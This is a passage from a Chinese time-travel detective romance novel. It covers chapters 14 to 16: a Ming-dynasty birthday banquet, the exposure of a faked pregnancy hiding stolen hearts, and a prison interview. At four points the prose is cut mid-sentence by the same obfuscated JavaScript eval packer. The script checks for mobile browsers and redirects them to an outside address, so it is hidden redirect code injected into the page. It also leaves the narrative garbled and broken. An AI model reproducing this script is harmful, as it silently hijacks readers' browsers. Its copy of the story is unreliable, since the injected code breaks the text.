庄志兴问道:“对了,真儿,你弟弟找到了么?” 景暄和的心头一恸,本想实言告知,最终却摇头,道:“还没有。” 庄志兴叹息道:“过去毕竟是过去了,多说无益,真儿,往后你打算如何呢?” 景暄和目光沉了下来,一字一句道:“我想继续破案,凭借自己的才能登上高处,看看上面的风景。” “什么?”庄志兴瞪大眼睛,道:“难道你就不想为你爹报仇吗?” 景暄和一愣,史书上,新皇登基之时便将魏福忠进行凌迟并洗脱了于景涟的罪名了,距离现在还有九年,所以,她只需要按兵不动就行了,可是却不知怎么和庄志兴去讲。 “庄伯伯,您听我说,”景暄和放低了声音,道:“众所周知,爹爹就是被魏福忠所害,此时的他在朝堂上已经树敌很多,我们只需要静静等待,他一定会有露出把柄的那一天。不是都说,君子报仇,十年不晚吗?我愿意蛰伏在暗处,积蓄力量。” “于兄后继有人呐,”庄志兴听了她这番话,赞叹道:“你这样子,倒与刚才卧房里那人很像。” “你说万大人?”景暄和眼睫轻颤。 “是啊,万大人总说,即使辉煌地死去,也不要庸碌地活着,如果只为了苟活于人世,而畏手畏脚,那还不如死了干净。你们都是有自己想法和主心骨的人,我也就放心了。” 庄志兴像突然想起了什么,说道:“对了,关于你爹爹的冤情,还有一件事,你应该知道。” “何事?” “在你爹的冤案之前,有人向圣上上了一道密折,却被东厂的人截获了,上面说了前朝宝藏的事,所以东厂番子才会陷害你爹。 后来我才想到,这人心思隐秘诡谲,明明知道司礼监秉笔太监会先看折子,并且把折子压下,所以这密折根本就不是给圣上看的,而是专门让东厂的人知晓此事,然后来个鹬蚌相争,渔翁得利。” “这样说来,我爹被冤一事还有幕后黑手?”景暄和皱眉,道:“我爹从未跟我说过宝藏的事,会不会是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555463|155429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那人为了扳倒我爹,故意编造的说辞?” “这我就不知了。”庄志兴摇摇头,又敲了一记桌子,道:“魏福忠自然是罪魁祸首,可是这人却更为阴险歹毒,绝对不能放过此人。” “谢庄伯伯告知。” 景暄和恭敬地朝他施了一礼。 朝局中原本就是牵一发而动全身的,都说明枪易躲,暗箭难防,明处的敌人固然可怕,但暗处的毒蛇更令人防不胜防。 景暄和心想:她一直以为这些事情全是魏福忠捣的鬼,没想到背后还有黑手,史书上并没有提及此事,想来那人也许都逃脱惩罚,甚至寿终正寝了吧。 真是可恨! 她暗暗下定了决心,如果可能,她一定要揪出此人,还世间以公道。 这时,门被敲了两下,庄炎在门外说:“万大人醒了。” 庄志兴整了整衣服,高声道:“我这就过去。” 景暄和心想自己也该告辞了,便与庄志兴一同出门。庄炎、庄阳兄弟二人等候在门外,两人长得一模一样,只是庄炎显得深沉内敛,庄阳却显得开朗灵巧。 庄炎说:“丫鬟将爹写的方子熬好药,让万大人喝下,但万大人却说太苦,怎么也不愿意喝。” 庄志兴道:“竟有这种事?回想以前,无论多苦的药,万大人都是仰头喝下,绝无二话,怎么这次却如此反常呢?” “要不让这位景大人过去瞧瞧,他的话,万大人也许会听。”庄阳瞧了一眼景暄和,说道。 景暄和扯开话题:“可是……万大人为何无缘无故地出现在建宁寺呢?若他不来,不是什么事都不会发生了。” 庄炎:“圣上与明贵妃四月初四会驾临建宁寺,便派万大人提早来寺中查看典礼的准备情况,谁知却遇上景大人了呢。” “是是是,这就叫有缘千里来相会!”庄阳赶忙道。 景暄和还在思索该怎么拒绝,却听庄炎冷道:“怎么,景大人不愿意?” 庄阳笑嘻嘻地说:“景大人,您就去试试吧,若不是为了救您,大人也不会生病,现今他若是坚持不喝药,让病情恶化,您心里也不好过啊。” 这兄弟俩一个唱|红脸,一个唱白脸,倒叫景暄和为难了。 她就这样稀里糊涂地被二人再次领入了万灵安的卧房。 万灵安正捧着一本书,见景暄和来了,却没有任何表示,他身旁放着青花瓷碗,里面淡褐色的药正向外冒着热气。 “大人,景大人来了。”庄阳禀报了一声,便与哥哥一同关门离开了。 室内只留景暄和和万灵安两人,万灵安却像没有看见她一般,目光仍旧锁在书上。 景暄和轻咳了一声,道:“万大人。” “你还知道回来?”万灵安将书扔在一边,说:“我没叫你走,你为何敢擅自离开?” “小人怕打扰大人的休息。”景暄和喃喃道。 “你记住,下次只有我叫你走,你才可以走,否则休想我带你去邢老太君的寿宴。” 景暄和只觉得这样的万灵安有些好笑,还有点孩子气,她走近他,搬了个椅子坐下,拿起瓷碗,将勺子搅动了一下,舀了一勺药,吹了口气。 “你这是做什么?” 景暄和将药递到万灵安的嘴边,说:“我在贿赂大人啊。”她的眼神划过一丝谄媚,似有晶莹的光流过。 万灵安眼眸微动,盯着这勺药,最终喝了下去。 景暄和就这样一勺一勺地将药喂到万灵安的嘴边。 窗外细雨斜斜,雨打芭蕉,窗内熏烟袅袅,落下一室静谧…… 14. 寿宴疯妇 三日后。 周府是从未有过的热闹,花团锦簇,欣欣向荣,络绎不绝的客人鱼贯而入,周管家在门口迎接,身穿上好的绫罗绸缎,脸上挂着笑。 一顶深紫色的轿子映入眼帘,周管家眼尖地瞧见,赶忙迎上来。 庄炎和庄阳将轿帘掀开,万灵安缓缓地下了轿。 “首辅大人……” 周管家话音未落,另一人也从轿中出来,是一名身姿清瘦的少年,虽面容朴实无奇,却气度清雅。周管家目瞪口呆地看着这少年,又看了万灵安一眼,重新挂上笑容,道:“二位大人里面请。” 景暄和微赧,她本想独自在周府门前等待,可是一大早庄炎和庄阳就来北镇抚司接她了,让她有些哭笑不得。对于同乘一轿,景暄和起初是拒绝的,可万灵安却说,他很冷,让她上轿来帮他挡风,无奈之下,景暄和只好上轿了。 万灵安手上抱着一暖炉,虽大病初愈,精神却很好。一路上,他的目光若有似无地向景暄和飘来,她也只能装傻充愣。 轿中温着一壶酒,景暄和为了缓和尴尬的气氛,便斟上一杯酒,递给万灵安道:“万大人,请喝酒。” 万灵安缓缓道:“庄大夫千叮万嘱过,不能吃生冷的东西,你先喝一口,也算帮我试试温度。” 景暄和点头,抿了一口酒,道:“温度正好。” 万灵安从她手中接过酒杯,仰头饮了下去。 景暄和一惊,那……可是她喝过的酒啊。 万灵安饮完后,将酒杯放在一边,神态坦然,景暄和的目光却定在这杯上,有些发怔。 …… 二人随小厮进了府,大厅中摆满了各式各样的礼物,琳琅满目——有极地红血珊瑚,黄玉佛手指花插,金簪花如意,金嵌松石双耳瓶……极尽富贵典雅之能事。 邢老太君见万灵安来了,亲自出来迎接,她患有眼疾,不能视物,在丫鬟的搀扶下,才勉强行走。 周承恩和周思逑跟在她的身后,还有一怀孕的妇人。那妇人端妍秀丽,是周承恩的发妻。 周思逑见景暄和在万灵安身侧,只是翻了个白眼,却因为哥嫂与太君在侧,不好发作。 邢老太君鬓发如银,和蔼道:“首辅大人能光临老身的寿宴,周府真是蓬荜生辉啊。” 万灵安微微一笑道:“邢老太君贵为二品诰命夫人,我等晚辈自当前来为您祝寿,希望您福寿安康,万事如意。” 邢老太君笑道:“首辅大人有这份心,老身便知足了,快请上座!” 万灵安向她施了一礼,便被小厮引到堂屋中。 堂屋的正面挂着红寿帘,两旁有“福如东海”,“寿比南山”的对联,八仙桌上摆着寿桃,香炉和寿烛,几名舞姬正在台上跳舞,其中一人戴着面纱,莲步轻移,脚踝处绑着一个铃铛,雪白的脚掌在褐色的毛毯上旋转,让人想入非非。 万灵安入座后,不多时,外面又有大阵仗,应该是另一名显赫的人物来了。 “太师到!” 话音刚毕,一人身穿织金绯色蟒服,被众人簇拥着来到堂屋,他长了一副又浓又密的胡子,精神矍铄,目光锐利。 李太师是前任的内阁首辅,大明开国以来,太师并无实权,只是用来表明受官者的功绩与崇高身份。李正龙是个雷厉风行的人,在官员中地位崇高,虽退居幕后,可朝中许多官员都曾是李太师的门生。可谓是“人不在江湖,江湖中却有他的传说”。 “万大人,身体可好些了?”太师李正龙刚到,便与万灵安寒暄。 “已然大好了。”万灵安面带微笑道。 众人又寒暄了片刻,席间有一矍铄的文官寇准对李太师施礼道:“恭贺太师新娶了一位美貌的侧室,才年芳十六,真是可喜可贺啊。” 景暄和心想,这李太师少说也有六十岁了,居然娶个十六岁的小姑娘当侧室,真是“一株梨花压海棠”啊。 李太师哈哈一笑,对万灵安道:“万大人,你日理万机,甚是辛苦,也该考虑终身大事了,不知哪家姑娘有这个福气,能做首辅夫人呢?” 万灵安俊逸的眸一闪,道:“多谢李太师挂念,只是还未曾有娶妻的念头。” 寇准继续道:“万大人早年有一博学多才,聪慧美貌的未婚妻,只可惜红颜薄命啊。” “你说的是罪臣于景涟之女于歌笛吧?”李太师讳莫如深地望了一眼万灵安,道:“想不到万大人竟如此情深义重,对一罪臣之女都念念不忘。” 他这话明赞暗讽,景暄和听得出来,李太师就是故意与万灵安为难。 “往事如烟,又有何放不下的,”万灵安风度极好地说:“不过是一罪臣之女罢了。” 他说这话时,仍是保持着笑意,可众人却觉得,周身的温度都低了几度。 “是是是,天涯何处无芳草呢。”寇准打圆场道:“顺天府的美人何其多,听说文渊阁大学士徐昶的女儿徐芃敏便是个出色的美人呢,一袭雪白的衣衫,骑一匹小棕马,谈笑间不知让多少王孙贵胄拜倒在她的石榴裙下,可徐小姐高傲洒脱,似乎只对万大人,别有一番深情缱绻呢。” 众人的目光变得暧昧起来,徐芃敏三年前曾当众求皇上赐婚于万灵安,可万灵安却拒绝了,理由是自己父亲刚刚去世,不宜娶妻,这件事便耽搁了下来。 万灵安神色如常道:“寇大人,若你这番话传到了徐夫人的耳中,不知她会如何呢?” 寇准的脸色一凝,徐夫人是顺天府有名的河东狮,连徐昶大人对她都颇为忌惮,要是这话被她知道了,还不知会掀起多大风浪呢。 “是下官考虑不周,多谢万大人提醒。”寇准冷汗涔涔道。 “顺天府的美人再多,也没有那于歌笛美貌惊人,独树一帜啊。”另一名穿褐衣锦袍的文官朗声道:“她的容貌不似一般的汉人女子,却也不像胡人那般夸张的高鼻深目,似乎有一半异族血统,特别是那双精灵般的眼睛,真是人间极品,让人过目难忘呐。” “胡说,于歌笛的父母都是汉人,怎会有一半的胡人血统?”李太师摸了摸下巴,道。 “那就不知了。”锦袍的文官说:“于景涟早年曾被先皇派去异族番邦当使臣,说不定就是那时,和异族的胡姬勾搭上,也未可知啊。” 其他人不禁哈哈大笑起来,景暄和的心却一点一点地沉了下来,为何他人的命运生死,在他们口中就像草芥一般呢? 刚穿越过来时,景暄和就发现她的脸和其他人略有不同——鼻梁秀挺,肤色白皙,五官比常人要深邃。为了掩人耳目,景暄和一直带着人|皮面具,久而久之,都忘了这张脸最初的样子。 不过大明也有许多五官深邃的女子,她们不一定是胡人,景暄和一直觉得,只是人的长相不尽相似罢了,如果单凭长相就说原主有一半胡人血统,也太草率了些。 李太师似乎来了兴趣,玩味道:“都说‘醉卧美人膝,醒掌杀人权’,万大人后半句已然达到了,若八年前不出那件事,那前半句,更是易如反掌啊。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555464|155429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往事如风,不提也罢。”万灵安语气虽如常,可谁也不知道,他此刻在想什么。 * 片刻后便开席了,觥筹交错,好不热闹,周承恩举杯道:“众位大人能来老太君的寿宴,周某真是倍感荣光,内子怀孕数月,身体不便,先去内府歇息了,大家吃好喝好,切勿拘束!” 语罢,一饮而尽。 “好,周大人爽快!”台下有人附和道。 突然。 “捉鬼啊!” 外堂传来一阵吵闹声,寿帘被掀开,闯进来一个奇形怪状,蓬头垢面的妇人。 那妇人年过五十,却疯疯癫癫,头上戴着红的、紫的、绿的、白的大花,两颊胭脂红的像猴屁股,额上与嘴唇皆涂白''粉,身上披着五层毛毯,里衣脏的发黑,像在煤灰里滚过。 她一蹦三尺高,神神叨叨道:“有鬼啊!快来捉鬼!” 众人大惊,这妇人一下拍拍文官的脑袋,一下扯扯仆人的胡子,嘴里喃喃道:“让我瞧瞧,鬼在不在这里?” 她突然从某桌拿起一盆鸡汤,惊叫道:“鬼在这里!” 伸手便将汤盆摔到地上,尖声道:“看我不砸烂你!王八蛋,臭不要脸!” 众人自动与她隔开一段距离,这妇人又在泼洒的鸡汤上蹦蹦跳跳,边跳边说:“踩死你,踩死你!” “老夫人,快捉住老夫人!”三名丫鬟急忙奔进内堂。 “好大一个鬼啊!”妇人跳到了李太师身边,伸手就要扯李太师的胡子。 “大胆!哪里来的疯妇!” 李太师一拍桌子,那妇人却被吓得哇哇大哭,最后坐到地上,开始打滚,她的身上沾满了油渍,滑稽可笑。 “老夫人怎么跑出来了?”周承恩面上无光,低声斥责道。 叫杏儿的丫鬟福了一福,神色紧张道:“杏儿正伺候老夫人吃药,谁知道老夫人疯病发作,一把推开杏儿,奔了出去,竟来到了内堂。” “快把老夫人带回去。” “是,杏儿这就去叫人。” 原来,这疯妇便是周承恩的母亲,周父死后,周母也不知受了什么刺激,竟得了痴症,发起病来,搅得全家不得安宁,周承恩无奈之下,只好派三名丫鬟轮流守着周母,谁知这次却被她跑出来了。 五名小厮前去捉她,妇人却狠狠地咬了其中一人的手臂,小厮捂着手臂嗷嗷乱叫,妇人冲开他们,又从地上抄起一个凳子,鼓着嘴巴,失声道:“鬼在那里啊!” 所指正是景暄和。 景暄和还没反应过来,妇人就朝她冲来,举起凳子要砸她的脑袋。 鼻尖突然传来月麟香的味道,仿佛是一刹那,被这华贵清冽的气息包围,恍然如梦,景暄和撞入一个怀抱中,才意识到,万灵安正挡在她的身前。 “别怕。”他说。 庄炎和庄阳眼疾手快,将妇人制服住,“砰”的一声,妇人手中的凳子落下。 五名小厮赶忙捉住妇人的四肢,将她架着退出了内堂。 “家母神志不清,让诸位见笑了。”周承恩赔礼道:“特别是李太师,万大人,让二位受惊了。” 李太师摆摆手,脸色已有些不好,嘴上仍说:“原来是周老夫人啊,无妨。” 万灵安缓缓转身,语气清淡道:“不必挂在心上,没伤着人便好。” 这时,一名丫鬟匆匆而来,对景暄和福了一下,说:“大人,外面有人找您。” 景暄和没有多想,便跟在丫鬟后面出去了。 15. 周府惊变 外堂站着一人,脸带笑意,粉面长眉,原来是张二越。 张二越环顾四周,见景暄和来了,赶忙凑近道:“景大人,小人终于弄清楚了禅房中的香味是什么,兴奋过了头,便来禀报了。” “哦?”景暄和整了整衣袖,道:“也算你有心了,快说快说。” 张二越清了清嗓子,说:“那香味是三奈香,有凝神安心的效果,产自高丽国,中原少有,怪不得属下一时叫不上名字呢,原来真是来自异国。” “高丽国?那不是大明的附属国吗?” “是的,所以属下怀疑,凶手也许与高丽国有关。” 景暄和点点头,却见张二越“咦”了一声,长眉纠结在一起,有些欲言又止。 “怎么了?” “小人似乎闻到,周指挥使的府宅中,也萦绕着这三奈香。” “当真?” “是的,小人的鼻子从未出过错。” 景暄和负手而立,记起昨日阿呆的话。 当时阿呆莽莽撞撞地冲入了她的房间,手上拿着本破旧的古书说:“找到了!” 景暄和不解,阿呆兴奋道:“我找到这神鸟印记是什么意思了!” 他将古书递给景暄和,说:“这一页明确地写着,三足金乌是高丽国的图腾呢!” 那时景暄和还有些犹疑,只觉得此案与高丽国惹上关联也许是个巧合,可今日一看,那熏香也是来自高丽国,种种巧合盘根错节,便不能叫巧合了。 如果凶手真与高丽国有关,那么那人为何会从周府的湖中出来呢?难道周府藏着高丽国的人? 景暄和觉得,这案子,似乎越来越有意思了。 …… 晚宴已过一半,景暄和借故溜了出来。 她不得不抓紧时间,毕竟自己这次是来查案的。 顺着内堂的小径出来,一路上问了许多丫鬟仆役,终于来到了湖边。这湖没有建宁寺的大,只是一个池塘般大小,周围种了些花花草草。 景暄和眼尖地发现一片草丛有人踩过的痕迹,一串可疑的脚印通向一间小屋。这屋子有一扇纸窗,隐约透露着一大肚妇人,正在灯前缝衣,应该是周承恩怀孕的妻子。 木门“嘎吱”一声被推开,一个丫鬟手捧一件襦裙,鬼鬼祟祟地出来,景暄和隐蔽在屋前的梧桐树后,不让她发现。 这丫鬟左右张望了一下,拿出一个木盆开始洗衣服,景暄和发现,亵裤上竟然有血迹……她捂住嘴巴,努力不让自己发出声音——如果说周承恩的妻子来了月事,那怀孕这件事,岂不是假的! 丫鬟将亵裤洗干净了,找个地方晾好,才长舒一口气,回屋去了。 景暄和从梧桐树后走出,突然听到身后传来一声轻微的“嘎吱”声,似乎是脚踩到树枝的声音,她心一紧,难道身后还有一个人目睹了全过程? 景暄和立马转身,只见月光下,一名美丽妖娆的女子站在她身后,正是刚才赤足的舞姬。 她画了翠眉,如一双细长弯月,一身五色锦缎水田衣,正是顺天府当下最流行的样式。面如凝脂,眼如点漆,此时已穿了鞋,曳地长裙下,露出粉红花罗绣花鞋的鞋尖。 她的眼眸睁大,红唇微张,似乎也很惊讶。 “抓贼……” 那女子一喊,景暄和就将她的嘴巴捂住,一个转身,将她抵在树干上。 “你是谁?”景暄和低声道。 女子摇摇头,示意自己嘴巴被捂住,不能讲话。 景暄和缓和了下语气,道:“你误会了,我只是参加寿宴的客人,碰巧路过而已,如果你不再叫,我就让你讲话,若你同意,就眨眨眼。” 女子赶忙眨了眨眼,美眸流转,示意她放手。 景暄和放手后,女子整了整头上的朱钗,道:“我叫锁烟,不过是周承恩大人的小妾而已。” 景暄和问道:“你都看到了?” 锁烟勾唇道:“是啊,看得真真切切,一清二楚。其实我早就怀疑那个贱人是假怀孕了,只是一直都没有证据,呵,这次终于被我捉住了吧。” 景暄和见她神情烂漫,又美艳泼辣,实在与周夫人的端良贤淑不同,也许作为府内人,锁烟知道更多内幕也不一定呢?想到此,景暄和不禁询问道:“锁烟,我问你,周夫人最近,有什么异常吗?” “异常说不上,就是很喜欢洗澡。”锁烟努了努嘴,说:“她身上总有一股怪味,像什么东西腐烂了似的,府里的丫鬟议论纷纷,我才怀疑那个贱人有问题。” “原来如此。” 景暄和陷入了沉思,却听锁烟说:“既然只是一场误会,那便你走你的阳关道,我过我的独木桥吧。大人,锁烟还有事,就不奉陪了。” 她朝景暄和做了一个万福,便径直走向了周夫人的房间。 景暄和不知她去周夫人房间做什么,也没有时间去理会,只是在湖边又寻觅了一段时间,才回到内堂。 宴席已经快结束,虽然中间有一段闹剧,可众人都自动忽略了,就在大家快要离席的时候,周夫人神色匆匆地赶来,后面跟着锁烟,似笑非笑。 “夫人,何事如此慌张?”周承恩关切地问道。 “不是夫君找我有急事吗?”周夫人如实答道:“刚才锁烟说夫君有事,我便放下手头的针线活,赶来了。” “我何时说有事?”周承恩疑惑地望了锁烟一眼。 锁烟嫣然一笑,搂着周承恩的手臂,亲昵道:“不过是奴家想夫君大人了,所以才和姐姐开个玩笑,没想到姐姐却当真了。” 她一声“夫君大人”叫得又甜又酥,像刚刚酿出的蜂蜜,听得在座的男人遐想连篇。 “又胡闹了。”周承恩刮了刮她的鼻子,说。 “妹妹,你太过分了。”周夫人的表情逐渐变冷,正色道:“夫君就任由她胡闹吗?当着这么多大人的面,调笑于我。” “姐姐言重了,不过是个玩笑而已,何必如此挂怀呢?就怕有些人,平时装得克己本分,暗地里却故意欺骗夫君大人,那才该千刀万剐呢。”锁烟的眼角抹了一痕红粉,捂嘴一笑,更添妩媚之色。 “狐狸精,你说什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555465|155429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”周夫人神色大变,她的声音带着一丝不易察觉的紧张。 “夫人,够了。”周承恩皱眉,对周夫人道:“这样吵吵闹闹,成何体统?” “我不过就说了她一句,夫君便百般呵护于她,可是她明里暗里又嘲弄过我多少回呢?”周夫人眼中含泪,似乎想将所有不满发泄出来,“我才是周家的女主人,是夫君明媒正娶来的,这个狐狸精不过是青楼里一个卑贱的妓''女罢了,何德何能让夫君如此维护呢?” “姐姐,你不过是嫉妒夫君大人对奴家的宠爱,平日里要打要骂也就罢了,如今却当着诸位大人的面,难道是故意让夫君大人难堪吗?”锁烟缩到周承恩的怀里,用帕子捂住脸,泫然欲泣。 众人都是一副看好戏的样子,没想到一个普通的寿宴,却高潮迭起。 周夫人被这挑衅彻底激怒了,她深吸一口气,说:“好啊,今日我便打死你这个狐狸精,看你还有什么话说!” 说着便上前,一巴掌掴在锁烟的脸上,锁烟捂着脸,眼神陡然变冷,周夫人还要打她,锁烟抓住周夫人的手腕,借力将她一推,周夫人“哎呦”了一声,摔倒在地上,从她肚子里掉出一个圆形的木盒子。 “姐姐,你这样欺瞒夫君大人,到底是何用意?”锁烟眼中写满了嘲弄,原来,她故意将周夫人带到此处,就是想当着所有人的面证明一件事——周夫人没有怀孕。 从她怀疑周夫人假孕时就开始筹谋,如果私下说,以周承恩的性格,肯定会大事化小,小事化了,如今当着众人的面将这件事情抖了出来,虽然让周承恩丢了面子,可是他只能从严处理,搞不好还会休了周夫人。 如果周夫人被休,那么以周承恩对她的宠爱,扶正都不是不可能。 周夫人大惊失色,只是扯着周承恩的下摆,哭泣道:“夫君,你听我解释啊!” 周承恩也一时失了心神,他怎么也没想到,平日里老实本分的夫人会做出这种事! 锁烟捂住鼻子,不屑道:“这木盒怎么如此恶臭?难道是从粪堆里刨出来的吗?” 她的嘴角勾起一起笑,那是胜利者的微笑。 众人也觉得不适,这木盒外观雕花,却散发着一股浓重的臭味,真不知道里面是什么稀奇古怪的物件。 “夫人,你真是让我太失望了。”周承恩摇摇头,拿起腰间的佩剑,向着木盒劈了过去,似要发泄怒气。 木盒被劈成了两半,里面仿佛有脓液和血水,还有一些奇怪的东西。 景暄和一怔,心中升起不祥的预感,不由得抱拳道:“周大人,能否让下官查看一二?” 周承恩点头。 景暄和将手绢捂住口鼻,蹲下身来查看,她微微低着脑袋,脸上的表情却郑重起来。 片刻后,她神色凝重地起身,指着木盒,道:“夺心案中丢失的三颗心脏,终于找到了。” 众人大惊,有的直接奔出内堂,吐了出来,屋外,呕吐声此起彼伏。 “这……这怎么可能?!” 周夫人见到此情此景,眼皮一翻,竟晕了过去。 16. 刑狱深深 第二日。 刑狱里散发着一股霉味,还有老鼠吱吱的叫声,阴暗潮湿,像梦里可怕的黑洞,一名狱卒坐在刑具前打瞌睡,见有人来了,才揉了揉惺忪的眼睛。 景暄和和阿呆打着灯笼,被狱卒引领着来到周夫人的牢房前。 虽然他们从周夫人的腹前找到了心脏,可景暄和总觉得此事另有蹊跷,还有很多说不通的地方。奇怪的是,经过审问,周夫人竟直接承认了自己是“神鸟夺心案”的凶手。 三日后,她便会被问斩。 听到这个消息,景暄和感到不可思议,她觉得自己有必要亲自来一趟监牢。 “老大,这监牢也太可怕了,黑不溜秋的,不会有鬼吧?!”阿呆拉着景暄和的袖子,说。 景暄和:“这还是普通的刑狱就让你如此害怕,若是到了诏狱,不得让你吓得尿裤子?” 阿呆问:“诏狱不是关押朝廷重臣、皇亲国戚还有重要人犯的地方么?” “是啊,凡是诏狱关押的人犯,三法司谁也不敢问津。其用刑之残酷,非常人所能想象,全刑一共十八套,有械、镣、棍、桚、夹棍,五毒具备。用刑时,犯人血肉溃烂,呼号声不绝于耳……其中最残酷的便属弹琵琶,这可不是让犯人真的弹琵琶,而是用利刃在犯人的肋骨处反复弹拨,每次上刑,犯人便觉百骨尽脱,汗如雨下。” 阿呆心下骇然,惊异地说不出话,只是连连点头。 狱卒将他们引到一处牢房前便回避了,只见周夫人一身囚服,散乱着头发,地上铺满了稻草。 一束光从她身后照到了稻草上,她半眯着眼睛,无神地、直直地望着那束光,一下子好像憔悴了十岁。 景暄和驻足在牢前,叫了一声“周夫人”。 周夫人抬头,喃喃道:“这里已经没有周夫人了,有的只是一个即将被斩的杀人凶手而已。” “夫人何必自暴自弃?我猜,你只是在赌气。”景暄和叹了口气,说。 周夫人道:“我让夫君在众官员面前出了这么大的丑,夫君定会休弃我,这样活着,又与死了有何分别?所以现在,我别无所求,只想一死。” “那么,便白白地让锁烟得意吗?”景暄和走近一步,“即使这样,你也甘心吗?” “甘心如何,不甘心又如何?” 周夫人的眼中留下两行清泪,像枯竭的深井涌出了一行泉水。 她陷入了回忆,哽咽道:“当初我路过元春楼时,一个衣衫褴褛的小丫头从里面逃了出来。那小丫头抱着我的腿求我救她一命,她的身上布满了深深浅浅的鞭印。我从未看过那么清澈动人的一双眼睛,就像会说话一样,惹人怜惜。 后来,楼里的老鸨派两个杂役追了过来,他们拖着她离开,她却怎么都不放手,嘴里一直念着要我救她。我一时心软,便帮她赎身了,还将她带回周府,做一个烧火的丫鬟。” “那小丫头就是锁烟?” “是啊,谁知道竟会养虎为患呢?”周夫人吸了下鼻子,道:“后来,锁烟年岁渐长,出落得越发美丽,我还好心地想给她择一门亲事,锁烟却有些不乐意。我一向将她当做小妹,既然她不想嫁人,我便也没有强求。 有次夫君喝醉了酒,第二天清晨,却发现自己躺在锁烟的床上。锁烟说自己失了名节,闹着要上吊,夫君不忍心,便纳了她做小妾,我心里虽然不快,却没有表露出来,想着锁烟到底也有了一个好归处。” 周夫人的眼中闪过一丝落寞,道:“后来,锁烟越来越受宠,也越来越目中无人,再后来,夫君竟独宠锁烟,他们倒是郎情妾意,竟完完全全地将我当做了透明人。我只想为夫君生个一儿半女,我总觉得,会不会我生下了孩子,夫君的目光便能重新回到我的身上呢? 可是我尝试过许多办法,却还是没有怀孕,心里也越来越焦急。这时,我突然遇到了一个方士,他要我假扮怀孕,还说若我按他说的做,夫君的心自然会回到我的身上。 起初,我用枕头代替肚子,有一天,方士却给了我这圆木盒子,要我将这盒子塞在衣服下,我便听了他的话。谁知道里面竟然是心脏呢?” 景暄和:“可是十月一满,不就露馅了吗?到时候你们去哪找个刚出生的婴儿来冒充?” “我自然不会随便找个孩子冒充夫君的血脉。”周夫人缓缓道:“方士说,到时我可以装作和锁烟争执,被她推倒以致流产,这样夫君自然会厌弃她,谁知道,百密一疏,竟被她抢先一步呢?” “怪不得别人说害人之心不可有,防人之心不可无,周夫人,你这样做无疑是作茧自缚,”景暄和敛眉,“现在问题的关键便是找到那方士了,你可知道他姓甚名谁,家住何方?” 周夫人茫然地摇头:“不知。” “那么,你是如何与他取得联系的呢?” 周夫人:“今年除夕,我去建宁寺上香的时候遇到了他,后来我每次有困难,他就让我在寺旁的松枝上绑张字条,还说若他看到了就会联系我。” 她的眼中闪过一丝希冀,“大人,若你找到这方士,便能帮我证明清白吗?只要让夫君相信我是被人骗的,他或许就会对我网开一面。” 景暄和摇摇头:“这八成是别人设下的圈套,故意将嫌疑引到你的身上,现在若想找到这方士,肯定比大海捞针还难。周夫人,我会央求上面的大人暂时保下你的性命,可还希望你好自为之,不要做傻事。” “如果能活着,谁又想去死呢?” 周夫人突然眼睛瞪大,说:“会不会是锁烟故意害我?也许这全是那个狐狸精安排的一出好戏?先派一名方士诱导我,又在大庭广众之下拆穿我?” “不太可能,”景暄和顿了顿,说:“那日寿宴,锁烟在你房前张望,正巧被我撞上了。若这是她的计谋,又何必偷偷摸摸想弄清你是否假孕呢?如果我是她,直接将你引到内堂,让你露出破绽,不是更便捷吗?” 周夫人点点头,又抬头问道:“这位大人,我与你非亲非故,你为什么要这样帮我?” “我并不是帮你,只是不想放过真正的凶手。”景暄和目光一凛,“真正的凶手,肯定潜藏在周府的某个角落,正暗自得意吧。” “什么?!那他会伤害夫君吗?” 景暄和望了她一眼,这个女人,到这个时候,心中挂念的还是她的夫君,可她的夫君却搂着别的女人逍遥自在。 怪不得《诗经》里说“士之耽兮,犹可说也,女之耽兮,不可说也”,如此看来,真是这个道理。 * 出监牢时,阿呆不禁问道:“老大,为什么你这么相信周夫人的话呢?我总觉得,不管怎样,周夫人的嫌疑还是很大,毕竟三颗心脏都藏在她的假肚子里呢。” 景暄和停住脚步,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555466|155429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 